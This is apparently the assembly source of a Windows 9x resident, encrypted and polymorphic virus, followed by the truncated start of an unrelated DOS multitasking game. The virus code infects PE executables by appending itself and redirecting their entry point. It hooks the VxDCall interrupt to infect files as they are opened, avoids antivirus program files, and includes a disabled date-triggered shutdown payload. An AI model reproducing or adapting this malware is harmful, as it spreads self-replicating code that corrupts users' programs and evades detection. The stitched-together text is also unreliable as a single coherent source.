GetFileHeaders, eax ;This should not fail, since its already... mov [dwIOH], ebx ;...called once in CanFileBeInfected mov [lpdwLastSection], ecx ;Calculate the Starting of Virus Code in File mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData mov [dwVirusBegin], eax ;RVA of New Entry Point in File ;Calculate RVA of New Entry Point mov ebx, [lpdwLastSection] sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress mov [dwNewEntryRVA], eax ;Calculate Bytes of JMP Instruction add eax, offset ReturnToHost - offset StartOfVirusCode mov ebx, [dwIOH] sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint add eax, 4 not eax mov [dwJumpBytes], eax ;Save Bytes ;Append the Virus to the host mov esi, offset StartOfVirusCode ;Copy Virus from Here... add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection mov edi, [dwVirusBegin] ;...to here mov ebx, [dwDeltaOffset] add edi, [ebx + lpHostFile] ;true location to copy to mov ecx, VIRUS_SIZE rep movsb ;Write New Jump Instruction in File ;Offset in File where operand to JMP instruction is to be put mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode add ebx, [dwVirusBegin] ;True offset in file mov esi, [dwDeltaOffset] add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File mov ecx, [dwJumpBytes] ;Get operand for jmp instruction mov [ebx], ecx ;Put it in the file ;Update the Last Section Header mov eax, [lpdwLastSection] mov ebx, [dwIncSecSize] mov ecx, [dwIncFileSize] add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE ;Fix VirtualSize (if Required) for files like TRACERT.EXE) mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong jge VirtualSizeFine ;No, Fix Not Required mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it VirtualSizeFine: ;Update the PE Header (Image Size) mov ebx, [dwIOH] ;Address of Image Optional Header add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx ;Update the PE Header (Entry RVA) mov ecx, [dwNewEntryRVA] ;Get New Entry RVA mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx ;Update the Win32VersionValue field. This is used as a Virus Signature mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE ;Encrypt the file, and Close it mov ebx, [dwDeltaOffset] mov edi, [ebx + lpHostFile] ;Staring address of Host File add edi, [dwVirusBegin] ;Address of virus in file call EncryptVirus call UnmapAndCloseFile, if_szFileName xor eax, eax inc eax ;All OK, Return Code 1 End_InfectFile: ret InfectFile ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | EncryptVirus | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Encrypts the Virus Code with a random byte, and mutates the decryptor, ; making the virus Encrypted & Polymorphic ; ; Arguments ; -> EDI: Starting address of Virus in Memory Mapped File ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All except EDI ;________________ EncryptVirus PROC push edi ;Save starting address of virus code ;Get Encryption Key, to be used for encrypting/decrypting ;@DELTA esi ;call esi + GetTickCount ;Get random number in EAX (AL) in al, 40h ;Get random encryption key IF DEBUG xor al, al ;Don't encrypt in Debug Mode ENDIF mov ecx, ENCRYPTED_SIZE add edi, LOADER_SIZE ;Don't enrypt the loader !! EncryptByte: xor byte ptr [edi], al ;al = Encryption Key inc edi loop EncryptByte pop edi ;restore starting address of virus code ;Update the Encryption Key in the decryptor mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al ;Mutate the Decryptor call MutateDecryptor ret EncryptVirus ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | StringLength | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the length of the string ; ; Arguments ; -> DWORD sl_lpszString: Address of the string ; ; Return Value: ; -> EAX: Length of the string ; ; Registers Destroyed ; -> EAX, ECX, EDI ;____________________________________ StringLength PROC sl_lpszString:DWORD mov edi, sl_lpszString ;string whose length is required xor ecx, ecx dec ecx ;ecx = -1, search till infinity xor eax, eax ;search for NULL character repne scasb ;Find the terminating NULL not ecx dec ecx ;length of string mov eax, ecx ;return length of string ret StringLength ENDP ;**************************************************************************** ; TimerProc ;**************************************************************************** ; Description ; -> This function is called when the Time-out value for the Timer Expires. ; ; Arguments ; -> tp_hwnd: Handle of the window ; tp_uMsg: WM_TIMER ; tp_idEvent: ID of the timer ; tp_dwTimer: Value of GetTickCount() ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All ;_____________________________________________________________________________ ;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD ; LOCAL dwDeltaOffset:DWORD, \ ; dwFileNumber:DWORD, \ ; stTime:SYSTEMTIME ; pushad ;must save, since this is a CALLBACK fn ; @DELTA esi ; mov [dwDeltaOffset], esi ; ;Check if Date is 8th December ; lea eax, stTime ; call esi + GetLocalTime, eax ; cmp stTime.ST_wMonth, 12 ;is Month = December ; jne Not_8_December ;No ; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th ; jne Not_8_December ;No ; ;Deliever Payload since date is 8th December ; call PayLoad ; ;Not_8_December: ; ;Lock System if Windows has been running for a long time ; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours ; ;jle NoLockWindows ;No ; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System ; ;DB 0Fh ; ;DB 0C7h ; ;DB 0C8h ; ;NoLockWindows: ; ; ;End_TimerElapsed: ; popad ;restore state ; ret ;TimerProc ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | CanFileBeInfected | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function checks if a file can be infected or not. It checks the ; following: ; 1. File must be an EXE ; 2. File must be a PE ; 3. It must not be a DLL ; 4. File must not be infected by our virus ; 5. It must not be a Winzip Self-Extractor File ; ; If all the above conditions are met, this function returns the size, in ; bytes, by which the file and section must be increased when the file is ; infected. ; ; Arguments ; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check ; ; Return Value: ; -> EAX: 1 if the file can be infected, 0 Otherwise ; -> EBX: Bytes by which the file size must be increased if it is infected ; -> ECX: Bytes by which the last section size must be increased if it is infected ; ; Registers Destroyed ; -> All ;___________________________________________ CanFileBeInfected PROC cfbe_szFileName:DWORD ;Map File, without increasing the File Size call OpenAndMapFile, cfbe_szFileName, 0 test eax, eax ;File Opened & Mapped Successfully jz End_CanFileBeInfected ;No, Return with Error Code = 0 ;Get File Headers call GetFileHeaders, eax test eax, eax ;Successfully retreived file headers je End_CanFileBeInfected ;No, probably not a PE file ;Check if file is infected. We use the Win32VersionValue for storing our signature cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE jz Error_CanFileBeInfected ;File is already infected ;Check if file is a DLL test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL jnz Error_CanFileBeInfected ;Yes ;Check if last section is sharable ;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics ;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable ;jnz Error_CanFileBeInfected ;Yes, don't infect ;Don't infect Winzip Self-Extractor Files. ;The last section of this file has the name _winzip_. Note that Winzip ;Self-Extrator Personal Edition Files will still be infected, since they ;don't have this section cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ? je Error_CanFileBeInfected ;Yes, dont infect ;OK, File can be infected, Great !!, ;-) mov eax, ebx ;Image Optional Header mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment ;Calculate Increase in Section size ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN mov eax, VIRUS_SIZE - 1 add eax, ecx ;Add Section Alignment xor edx, edx ;We need to divide only EAX div ecx ;Divide by SECTION_ALIGN mul ecx ;Multiply by SECTION_ALIGN push eax ;Save Increase in Section Size ;Calculate Increase in File Size ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN ;mov eax, VIRUS_SIZE;**NEW LINE ;dec eax ;INC_SEC_SIZE - 1 mov eax, VIRUS_SIZE - 1 add eax, ebx ;Add File Alignment, FILE_ALIGN div ebx ;Divide by FILE_ALIGN mul ebx ;Multiply by FILE_ALIGN push eax ;Save Increase in File Size ;Close the file, and return relevant values call UnmapAndCloseFile, cfbe_szFileName pop ebx ;Get Increase in File Size pop ecx ;Get Increase in Section Size xor eax, eax inc eax ;Return Code 1 jmp End_CanFileBeInfected Error_CanFileBeInfected: call UnmapAndCloseFile, cfbe_szFileName xor eax, eax ;Return Code 0 End_CanFileBeInfected: ret CanFileBeInfected ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | PayLoad | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function is called on the 8th of December. It delievers the Payload ; of the virus. ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;___________ ;PayLoad PROC ; @DELTA esi ; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL ; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL ; ret ;PayLoad ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | CanMachineBeInfected | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function is called to check if the virus should infect this machine ; or not. This is used, so that the virus doesn't infect My Machine !! ; ; Arguments ; -> None. ; ; Return Value: ; -> EAX: 0 -> machine should not be infected, else it can be infected ; ; Registers Destroyed ; -> All ;________________________ CanMachineBeInfected PROC @DELTA esi ;Check if the "No Infect" file exists on the current machine mov eax, esi add eax, offset szNoInfectFileName call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \ OPEN_EXISTING, NULL, NULL cmp eax, INVALID_HANDLE_VALUE ;File Opened ? je End_CanMachineBeInfected ;No, so machine can be infected ;Close the file, and return 0, since its probably my machine call esi + CloseHandle, eax xor eax, eax ;return 0, so that machine is not infected End_CanMachineBeInfected: ret CanMachineBeInfected ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | RelocateVirus | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function allocates memory in the Shared area and copies the Virus ; to that area. ; ; Arguments ; -> None. ; ; Return Value: ; -> EAX: Base address of Memory where the Virus was copied, or NULL if an ; error occured. ; ; Registers Destroyed ; -> All ;_________________ RelocateVirus PROC LOCAL dwDeltaOffset:DWORD, \ dwMemoryRegion:DWORD @DELTA esi mov [dwDeltaOffset], esi ;Reserve Shared Memory @DELTA esi call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \ PC_WRITEABLE OR PC_USER cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully? je Error_RelocateVirus ;No cmp eax, SHARED_MEMORY ;Shared memory Allocated? jb Error_RelocateVirus ;No ;Save Address of Region mov [dwMemoryRegion], eax ;Commit Shared Memory shr eax, 0Ch ;Page Number mov esi, [dwDeltaOffset] call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \ PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED or eax,eax je Error_RelocateVirus ;Copy Virus to Newly Allocate Memory mov esi, dwDeltaOffset add esi, offset StartOfVirusCode ;Start Copying From Here mov edi, [dwMemoryRegion] ;Copy Here mov ecx, VIRUS_SIZE ;Size to Copy rep movsb mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated jmp End_RelocateVirus Error_RelocateVirus: xor eax, eax ;Return 0, since an error occured End_RelocateVirus: ret RelocateVirus ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | InstallHookProcedure | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function installs a hook procedure to monitor VxDCalls ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;________________________ InstallHookProcedure PROC LOCAL dwDeltaOffset:DWORD @DELTA esi mov [dwDeltaOffset], esi ;Modify the JMP instruction, so that it points to the address of OldInt30 mov eax, esi add eax, offset OldInt30Address ;Bytes to modify mov ebx, esi add ebx, offset OldInt30 ;Address of OldInt30 mov [eax], ebx ;Modify JMP instruction ;The disassembly of the VxDCall function looks like this: ; ;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h] ;8F 04 24 POP DWORD PTR [ESP] ;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX] ; ;The last instuction points to an INT 30h instruction that is used by ;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the ;address pointed to by the CALL, i.e. XXXXXX, so that it points to our ;code. Before that, we should save the current address, so that we can ;call the old INT 30h ;Trace through VxDCall, until we come to the XXXXXXXX bytes add esi, offset VxDCall mov esi, [esi] ;First byte of VxDCall function mov ecx, 50 ;Scan upto 50 bytes TraceVxDCall: lodsb ;Get current byte cmp al, 2Eh ;First byte of CALL instruction? jne TraceVxDCall_NextByte ;No, check next byte cmp word ptr [esi], 1DFFh ;Next two bytes of instruction? je TraceVxDCall_AddressFound ;Yes TraceVxDCall_NextByte: loop TraceVxDCall ;Continue Checking... TraceVxDCall_AddressFound: ;Save Current INT 30h Address cli ;Cannot afford to be interrupted lodsw ;Skip over FF and 1D opcodes of CALL lodsd ;Pointer to INT 30h instruction, XXXXXXXX mov esi, eax ;Copy Bytes From Here mov edi, [dwDeltaOffset] add edi, offset OldInt30 ;To Here mov ecx, 6 ;Save 6 bytes, FWORD rep movsb ;Install New INT 30h Handler mov edi, eax ;Pointer to INT 30h instruction mov eax, [dwDeltaOffset] add eax, offset VxDInt30Handler ;Copy This Address stosd ;Save 4 bytes ... mov ax, cs stosw ;and 2 bytes (since FWORD instruction) sti ;Handler installed, enable interrupts ret InstallHookProcedure ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | VxDInt30Handler | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This is the hook procedure that monitors VxDCalls (INT 30h) ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;___________________ VxDInt30Handler PROC pushad ;Save all, since this is an interrupt handler ;Make sure that we don't process our own calls @OFFSET ebp, VxDCall_Busy cmp byte ptr [ebp], TRUE ;Is Virus busy je Exit_VxDInt30Handler ;Yes, prevent re-entrancy ;Process only INT 21h Services cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h? jne Exit_VxDInt30Handler mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency? je Residency_Check ;Yes cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended je Extended_File_Open jmp Exit_VxDInt30Handler ;None, go to default handler Residency_Check: ;Virus Residency Check popad ;Restore stack and other regs mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident jmp Original_VxDInt30Handler ;Go to original handler Extended_File_Open: ;Prevent Re-entrancy @OFFSET eax, VxDCall_Busy mov byte ptr [eax], TRUE push esi call IsFilenameOK, esi pop esi or eax, eax jz File_Not_Executable ;Do Stuff ;call OutputFileName call InfectFile, esi File_Not_Executable: ;Finished Processing @OFFSET eax, VxDCall_Busy mov byte ptr [eax], FALSE Exit_VxDInt30Handler: popad ;Restore, before transfering control Original_VxDInt30Handler: ;The following bytes will be translated to JMP FWORD PTR CS:[00000000] DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX] OldInt30Address: ;The following 4 bytes will be replaced by the DB 4 DUP (0) ;address of OldInt30 in memory. ;ret ;Not required, since we're jumping out VxDInt30Handler ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | IsFilenameOK | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function checks if the filename is OK for infection or not. If the ; filename meets any of the folling criteria, this function returns a ; failure. ; * Filename is less than 5 characters. This is checked, because ; we are infecting only .EXE files, so the minimum length of such ; a file is 5 characters ; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The ; comparison is case insensitive ; * The filename must NOT consist of any of the following pairs of ; characters, viz., "AV", "AN", "F-". This is done to prevent ; infection of Anti-Virus program files. ; ; Arguments ; -> ife_szFilename: Address of the buffer where the filename is stored ; ; Return Value: ; -> EAX: 1 if the filename is OK, 0 otherwise ; ; Registers Destroyed ; -> All ;___________________________________ IsFilenameOK PROC ife_szFilename LOCAL szExtention[4]:BYTE ;Check Filename Length mov esi, ife_szFilename call StringLength, esi ;Get length of filename cmp eax, 4 ;Is File name less than 5 characters (.EXE) jl Error_IsFilenameOk ;Yes, Don't infect push eax ;Save Length of Filename ;Get File Extention mov eax, [esi + eax - 4] ;File Extention (including ".") lea edx, szExtention ;Get Address of Extention Buffer mov [edx], eax ;Store extention in buffer ;Convert to upper case mov ecx, 3 ;3 characters to be converted ToUpperCase: inc edx ;Don't have to check "." for upper case cmp byte ptr [edx], "a" jl NextCharacter cmp byte ptr [edx], "z" jg NextCharacter sub byte ptr [edx], "a" - "A" ;Convert to upper case NextCharacter: loop ToUpperCase pop ecx ;Get Length of Filename ;Check the Extention IF DEBUG cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only) ELSE ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only) ENDIF jne Error_IsFilenameOk ;No, Extention doesn't match ;Check Anti-Virus Program Files dec ecx ;Since we're checking 2 char, last char not reqd CheckAntiVirusFiles: cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte) je Error_IsFilenameOk cmp word ptr [esi], "va" je Error_IsFilenameOk cmp word ptr [esi], "-F" ;"F-"; for F-PROT je Error_IsFilenameOk cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN je Error_IsFilenameOk cmp word ptr [esi], "na" je Error_IsFilenameOk inc esi ;Next Character loop CheckAntiVirusFiles ;Check All xor eax, eax inc eax jmp End_IsFilenameOk Error_IsFilenameOk: xor eax, eax End_IsFilenameOk: ret IsFilenameOK ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ OutputFileName PROC LOCAL dwFilename:DWORD, \ dwDeltaOffset:DWORD mov [dwFilename], esi @DELTA esi mov [dwDeltaOffset], esi ;Create File to write into mov edx, [dwDeltaOffset] add edx, offset szOutputFile mov esi, 0BFF77ADFh call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \ 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 cmp eax, INVALID_HANDLE_VALUE je End_OutputFileName ;Go to end of file push eax ;Save Handle mov esi, 0BFF7713Fh ;SetFilePointer call esi, eax, 0, 0, 2 pop eax ;Restore Handle ;Get Length of FileName push eax ;Save Handle mov edx, [dwFilename] mov esi, 0BFF773ADh ;lstrlen call esi, edx mov ebx, eax ;length of filename pop eax ;Restore Handle ;Write Into File push eax ;save handle push eax ;Create Buffer, used for number of bytes written lea ecx, [esp - 4] mov edx, [dwFilename] mov esi,0BFF76FD5h ;WriteFile call esi, eax, edx, ebx, ecx, 0 pop eax ;Remove Buffer pop eax ;restore handle ;Close File mov esi, 0BFF7E064h call esi, eax End_OutputFileName: ret OutputFileName ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | IsVirusActive | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function returns 1 if the virus is active in memory, else returns ; 0. This function also saves the address of the VxDCall API. ; ; Arguments ; -> None. ; ; Return Value: ; -> EAX: 1 if the Virus is Resident. 0 otherwise ; ; Registers Destroyed ; -> All ;_________________ IsVirusActive PROC call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API test eax, eax ;Found Address ? jz End_IsVirusActive ;No, Return 0 ;Save address of VxDCall API @OFFSET ebx, VxDCall mov [ebx], eax ;Save Address ;Check if Virus is Already Resident @CALL_INT21h RESIDENCY_CHECK_SERVICE xor eax, eax ;Assume not resident cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident jne End_IsVirusActive ;No, return 0 inc eax ;Yes, return 1 End_IsVirusActive: ret IsVirusActive ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | GetFileHeaders | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function retreives the address of various file headers, viz., ; Image File Header, Image Optional Header, Last Section Header, ; Image Export Directory. The function fails if the specified file is ; not a Portable Executable (PE) file ; ; Arguments ; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are ; required. ; ; Return Value: ; -> EAX: Address of the Image File Header, or 0 if the function failed ; -> EBX: Address of the Image Optional Header ; -> ECX: Address of the Last Sections Header ; -> EDX: Address of the Image Export Directory ; ; Registers Destroyed ; -> All ;_______________________________________ GetFileHeaders PROC gfh_dwFileBase:DWORD LOCAL dwIOH:DWORD, \ dwIED:DWORD, \ mov esi, [gfh_dwFileBase] cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ? jne Error_GetFileHeaders ;No ;Check for PE Signature add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew cmp dword ptr [esi], "EP" ;PE File ? jne Error_GetFileHeaders ;No ;Get Image Optional Header add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header push esi ;Save Image File Header add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header mov [dwIOH], esi ;Save ;Get the Address of the Image Export Directory mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory add esi, [gfh_dwFileBase] mov dword ptr [dwIED], esi ;Get Address of Last Section Header pop esi ;Get Image File header movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader add ecx, [dwIOH] ;Address of First Section Header movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections dec eax ;Number of Sections - 1 imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers ;mov ebx, SIZE IMAGE_SECTION_HEADER ;mul ebx ;Size of All Section Headers add ecx, eax ;Address of Last Section Header ;Return Header Values mov eax, esi ;Image File Header mov ebx, [dwIOH] mov edx, [dwIED] jmp End_GetFileHeaders Error_GetFileHeaders: xor eax, eax ;Error, Return 0 End_GetFileHeaders: ret GetFileHeaders ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | MutateDecryptor | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function modifies the registers used in the decryptor, to make it ; polymorphic. The decrypor uses two registers; one as an index, and the ; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are ; used as random registers. The opcodes are generated in the following way. ; First the opcode is calculated using register EAX; e.g. the opcode for ; POP EAX is 58h. To generate the opcodes for the other registers, we add ; the number of the register. The number for EDX is 2. Adding this to 58h, ; we get 5Ah, which is the opcode for POP EDX ; ; Arguments ; -> EDI: Start of decrypor that need to be mutated ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> AX, BL ;___________________ MutateDecryptor PROC ;Get Two Random Registers call RandomRegister ;Get First Register Number mov ah, al ;Save It GetAnotherRegister: call RandomRegister ;Get Second Register Number cmp ah, al ;Is it the same as First je GetAnotherRegister ;Yes, get another one ;Modify Decryptor, so that it uses the new registers mov bl, 58h ;Change "pop <register1>" add bl, al ;Register 1 mov byte ptr [edi + 5], bl mov bl, 0C0h ;Change "add <register1>, ..." add bl, al ;Register 1 mov byte ptr [edi + 7], bl mov bl, 0B8h ;Change "mov <register2>, ..." add bl, ah ;Register 2 mov byte ptr [edi + 9], bl mov bl, 30h ;Change "xor byte ptr [<register1>], ..." add bl, al ;Register 1 mov byte ptr [edi + 15], bl mov bl, 40h ;Change "inc <register1>" add bl, al ;Register 1 mov byte ptr [edi + 17], bl mov bl, 48h ;Change "dec <register2>" add bl, ah ;Register 2 mov byte ptr [edi + 18], bl ret MutateDecryptor ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | RandomRegister | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of ; these values is used to identify a register. ; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7 ; ; Arguments ; -> None. ; ; Return Value: ; -> AL: Random number (0, 1, 2, 3, 6 or 7) ; ; Registers Destroyed ; -> AL ;__________________ RandomRegister PROC NewRandom: in al, 40h ;Get Random Number and al,00000111b ;Maximum value 7 cmp al, 4 ;Should not be 4... je NewRandom cmp al, 5 ;...or 5 je NewRandom ret RandomRegister ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | End Of Virus Code | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ VIRUS_SIZE EQU $ - offset StartOfVirusCode ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1 END StartOfVirusCode
bits 16 org 0x0 ; Where to find the INT 8 handler vector within the IVT [interrupt vector table] IVT8_OFFSET_SLOT equ 4 * 8 ; Each IVT entry is 4 bytes; this is the 8th IVT8_SEGMENT_SLOT equ IVT8_OFFSET_SLOT + 2 ; Segment after Offset ; Where to find the INT 9 handler vector within the IVT [interrupt vector table] IVT9_OFFSET_SLOT equ 4 * 9 IVT9_SEGMENT_SLOT equ IVT9_OFFSET_SLOT + 2 SECTION .text main: ; ds = cs mov ax, cs mov ds, ax ; Reset es mov ax, 0x0000 mov es, ax ; Replace interrupts cli mov ax, [es:IVT8_OFFSET_SLOT] mov [ivt8_offset], ax mov ax, [es:IVT8_SEGMENT_SLOT] mov [ivt8_segment], ax lea ax, [timer_isr] mov [es:IVT8_OFFSET_SLOT], ax mov ax, cs mov [es:IVT8_SEGMENT_SLOT], ax mov ax, [es:IVT9_OFFSET_SLOT] mov [ivt9_offset], ax mov ax, [es:IVT9_SEGMENT_SLOT] mov [ivt9_segment], ax lea ax, [keyboard_int] mov [es:IVT9_OFFSET_SLOT], ax mov ax, cs mov [es:IVT9_SEGMENT_SLOT], ax sti ; Set VGA mode mov ah, 0x0 mov al, 0x13 int 0x10 mov word [task_status], 1 ; set main task to active lea di, [render_player] ; create graphics thread call spawn_new_task lea di, [control_player] ; create player thread call spawn_new_task lea di, [rect_1] ; create gravity wells thread call spawn_new_task lea di, [rect_2] ; create task b call spawn_new_task mov ax, 0xA000 mov es, ax ; set memory to vga position .loop_forever_main: ; Main does nothing jmp .loop_forever_main ; di should contain the address of the function to run for a task spawn_new_task: lea bx, [stack_pointers] ; get the location of the stack pointers add bx, [current_task] ; get the location of the current stack pointer mov [bx], sp ; save current stack so we can switch back mov cx, [current_task] ; look for a new task add cx, 2 ; start searching at the next one though .sp_loop_for_available_stack: cmp cx, [current_task] ; we are done when we get back to the original jne .sp_check_if_available jmp .sp_no_available_stack .sp_check_if_available: lea bx, [task_status] ; get status of this stack add bx, cx cmp word [bx], 0 je .sp_is_available add cx, 2 ; next stack to search cmp cx, 10 jl .sp_loop_for_available_stack mov cx, 0 jmp .sp_loop_for_available_stack .sp_is_available: lea bx, [task_status] ; we found a stack, set it to active add bx, cx mov word [bx], 1 lea bx, [stack_pointers] ; switch to the fake stack so we can do stuff with it add bx, cx mov sp, [bx] ; swap stacks pushf ; emulate an interrupt, which pushes flags push cs ; then a segment push di ; then an address (just so happens to be the address of the function we want to run) pusha lea bx, [stack_pointers] ; update top of this stack add bx, cx mov [bx], sp .sp_no_available_stack: ; restore to original stack lea bx, [stack_pointers] add bx, [current_task] mov sp, [bx] ret ;environment graphics thread render_player: .loop_forever_1: ; Setup interrupt arguments mov ax, 0x0C3F mov bx, 0x0 mov cx, [player_x] mov dx, [player_y] ; Draw 3x3 at player position %rep 3 int 0x10 inc cx %endrep mov cx, [player_x] inc dx %rep 3 int 